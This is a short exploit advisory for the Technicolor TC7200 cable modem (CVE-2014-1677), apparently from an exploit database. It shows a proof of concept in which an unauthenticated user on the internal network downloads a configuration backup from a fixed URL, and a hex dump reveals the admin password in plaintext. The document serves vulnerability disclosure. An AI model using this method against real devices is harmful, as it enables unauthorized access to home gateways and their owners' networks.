Exploit Title: Technicolor TC7200: Authentication Bypass # Google Dork: N/A # Date: 24-02-2014 # Exploit Author: Jeroen - IT Nerdbox # Vendor Homepage: http://www.technicolor.com/ # Software Link: http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew ays/cable-modems-gateways/tc7200-tc7300 # Version: STD6.01.12 # Tested on: N/A # CVE : CVE-2014-1677 # ## Description: # # Any user on the internal network can download a backup configuration file without authenticating first. The backup file contains # the credentials to the administrative web interface. # ## PoC: # # Download the file: http://192.168.0.1/goform/system/GatewaySettings.bin # # Using the command: $ hexedit -C GatewaySettings.bin # # 00006590 00 00 00 00 00 00 00 00 30 4d 4c 6f 67 00 06 00 |........0MLog...| # 000065a0 05 61 64 6d 69 6e 00 15 6d 79 73 75 70 65 72 73 |.admin..mysupers| # 000065b0 65 63 72 65 74 70 61 73 73 77 6f 72 64 00 06 75 |ecretpassword..u| # 000065c0 70 63 63 73 72 00 00 |pccsr..| # 000065c7 # # # More information can be found at: http://www.nerdbox.it/technicolor-tc7200-auth-bypass-dos/